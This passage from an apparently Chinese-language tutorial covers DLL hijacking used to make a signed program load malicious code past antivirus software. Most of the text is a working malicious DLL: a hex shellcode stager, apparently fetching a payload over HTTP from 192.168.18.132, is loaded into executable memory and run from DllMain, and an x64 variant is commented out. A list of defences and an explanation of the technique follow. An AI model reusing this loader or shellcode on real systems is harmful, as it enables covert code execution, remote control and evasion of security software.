e0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x65\x38\x69\x56\x00\x55\x00\x9b\x1a\x94\xf7\x9c\x9d\xc7\x17\xf4\x02\xe9\x72\xea\x2f\x18\x0b\xed\x3a\x9f\x3e\xca\xf4\xce\xd3\xc3\xc4\x80\x03\x7a\x9e\x03\xd2\x89\x6c\x02\x6e\x33\x3f\x41\x03\x29\x2b\xc8\x55\x80\xcc\x65\x66\x77\xfa\x15\x20\x5c\x7b\xfa\xe0\xd5\x1b\x1b\xb4\x17\x45\x1f\x06\xa2\x61\xdc\x21\xa9\x1c\xdb\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x8f\x9c\xed\x57\xc8\xb9\x63\x1b\x62\xa3\x2c\xdf\x06\x37\x2d\xc3\x8d\x73\x27\x3c\x72\x2a\x48\xe5\xd0\x6b\x99\xa0\x87\x96\xdc\xdd\x5c\x35\x26\xf6\x26\x37\x01\x17\x10\x0b\xbb\xe3\xf9\xb3\xf2\xdc\xa7\xcb\x90\x65\x46\xc1\xdb\x64\x0b\x23\x2a\x63\x63\x85\x96\x24\xd7\x9d\x87\x8f\xde\x8a\x5b\x27\x59\x12\xb4\x08\xcf\x93\xb4\x74\xd5\x45\x14\xa9\xfc\xeb\x2d\x40\x1d\xf5\x57\xac\xf6\x07\xd2\x6f\xf1\x46\x59\x9c\x49\xde\xdc\xc3\xd9\x88\x07\x85\xc2\x8c\x17\x4e\xc6\x86\x1b\x17\xca\x5e\x15\x8c\x9f\x30\x57\x58\x73\x21\xa0\x05\x62\x75\x83\x7e\xe3\xce\x64\x76\x00\x3d\x8b\x4e\x43\x0e\x7a\x93\x69\x63\x70\xf9\x3b\x42\x98\xac\xd4\x5c\x52\xbe\x87\xe4\x8c\x02\xa1\x1e\xf9\xa2\xe0\xf2\x5f\x75\xb2\x83\x0c\x88\xef\x06\x83\x96\x68\x3d\x33\xed\x91\x93\xfd\x38\x2d\x9c\x8d\x97\x1c\x43\xd8\x68\xbc\xcd\x8e\x82\x39\x19\xa1\x61\x16\x6d\xf8\x68\x68\xdd\x3e\xbd\x1e\x1c\xc6\x5d\x4e\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e\x31\x33\x32\x00\x5e\x2e\x78\x90";

LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(pMemory, buf, sizeof(buf));

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

WaitForSingleObject(hThread, 0);

//释放内存
VirtualFree(pMemory, 0x1000, MEM_COMMIT);
CloseHandle(hThread);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
loadshellcode();
//unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x74\x32\x6e\x49\x00\x0c\xda\x45\x13\xbb\x51\xcc\x08\x55\x80\x06\xe7\x40\xf2\x8a\x59\x6b\x7f\xe2\x00\x4a\x51\xd0\x09\xa2\x57\xe1\x30\x5d\xcb\x7b\xad\x44\x3c\x07\x3d\xa5\x75\x88\xe9\xd6\xa9\xa1\xfd\xb3\x7a\xe2\x8c\x19\x05\x8f\xfc\xf4\x27\xec\x4e\xfc\x6a\xe9\x1f\x94\xdf\x4c\x96\xf9\xbc\x2b\x12\x8a\x67\x72\xed\x58\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x42\x54\x52\x53\x31\x32\x35\x35\x32\x36\x29\x0d\x0a\x00\xae\xe1\x01\x1c\xaa\x64\x16\x48\x4f\x20\x35\x43\x90\x6b\xf7\xf9\x6a\x51\x08\xdf\x53\x5c\x64\x33\x31\x76\xf5\x73\x59\x7a\xd6\x80\x80\xba\x54\x30\x97\xac\x21\xab\x3c\xee\x9e\xe1\xda\xc3\x0b\x18\x16\xe8\x3b\x9e\x8d\xcb\x62\xfd\xb6\x2e\x05\x2c\x61\xc3\x23\xd8\xe5\x9d\x1d\x65\xaa\xb2\x3c\xd2\xf6\x63\x1d\x5b\x80\x5a\x50\x7c\x0c\xe9\x94\x5c\x3a\xdc\xb2\x1c\xd2\x46\x61\xee\x4f\xc8\xe5\x9a\xe0\x9f\xa1\x71\x2f\x9f\x13\x24\xaf\x84\xe6\x86\x3a\x33\x35\x18\x14\xe4\x66\x02\xc7\x0d\xd6\xf0\x0f\xdd\x44\xbc\xa5\x01\xf5\x2d\x96\x7f\xd8\xe8\x76\xfb\xf7\xb8\x36\x66\x2f\x64\x1f\xbb\xb5\x24\xe2\x06\xad\x3d\x38\xc5\x90\xd3\x02\xea\x52\xf0\x06\x1d\x32\x80\x4b\xe7\x31\xe2\x7d\x1a\xe3\x31\x29\xb0\xd9\x80\x4f\x18\x5a\x68\xad\xb3\x06\x2d\xa3\x20\x7a\xf0\xe1\x4c\x0c\x0f\x70\x5b\x9e\xc4\x8b\x42\xc0\xea\xd2\x94\xa6\xf4\x65\x0f\xaf\x7e\xdc\xd1\x02\x35\x7c\xf6\x21\x69\x8c\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e\x31\x33\x32\x00\x5e\x2e\x78\x90";
//LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//memcpy(pMemory, buf, sizeof(buf));

//HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

//WaitForSingleObject(hThread, 0);

////释放内存
//VirtualFree(pMemory, 0x1000, MEM_COMMIT);
//CloseHandle(hThread);
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}


image

防御方法

1.使用完整路径加载 DLL

  • 明确指定路径: 在代码中使用 DLL 的完整路径,避免使用不明确的相对路径或环境变量。

2. 使用安全的 DLL 加载函数

  • LoadLibraryEx函数: 使用 LoadLibraryEx​ 的 LOAD_LIBRARY_AS_DATAFILE​ 选项,可以防止加载同名 DLL。

3. 控制 DLL 的搜索路径

  • 设置 DLL 搜索路径: 调用 SetDllDirectory​ 来指定有效的 DLL 搜索路径,限制可加载的 DLL 来源。

4. 使用 Windows 保护机制

  • 启用 Windows Defender: 确保 Windows Defender 或其他安全软件在运行,以监控和拦截可疑活动。
  • 使用数字签名: 对 DLL 和可执行文件进行数字签名,确保文件的来源可信。

5. 应用程序清单

  • 使用应用程序清单: 通过清单文件配置安全特性,指定使用哪些库,确保优先加载特定版本的 DLL。

6. 代码审计和监控

  • 定期代码审计: 检查代码中潜在的 DLL 加载风险并进行必要的修复。
  • 监控 DLL 加载活动: 使用监控工具检测和记录 DLL 加载,快速响应可疑行为。

7. 最小化用户权限

  • 限制应用程序权限:以最小权限原则运行应用程序,减少脚本和应用程序能访问的资源。

8. 采取安全编程实践

  • 输入验证与输出编码: 确保程序安全,防止注入和其他攻击,减少被劫持的机会。

白加黑介绍和原理

白加黑是一种利用 DLL 劫持技术来绕过安全软件的主动防御,以达到加载恶意程序的目的。通过劫持合法程序的DLL文件,将恶意代码嵌入其中,使得恶意程序能够在不被安全软件检测到的情况下运行。

白名单程序一般是指有正规签名的程序只要有正规签名的程序一般都或多或少都有一定的白名单权限,权限有大有小,具体看该程序相对于杀软来说的重要程度,该程序越重要白名单权限越高。部分程序即便有正规签名也会被杀软重点监控如有微软签名的 Procdump。

  1. Exe(白) —load—> dll(黑)
  2. Exe(白) —load—> dll(黑)—load—> 恶意代码

补充:

dll劫持产生条件:

  1. 不再’HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs’注册表中
  2. 其dll是EXE程序首先加载的DLL,而不是依赖其他DLL加载的。
  3. DLL确实被加载进内存中

判断dll是否可以劫持:

手动方法:

利用进程查看软件,查看dll是否存KnownDlls注册表中。

自动审计方法:即上面测试所采用的工具和方法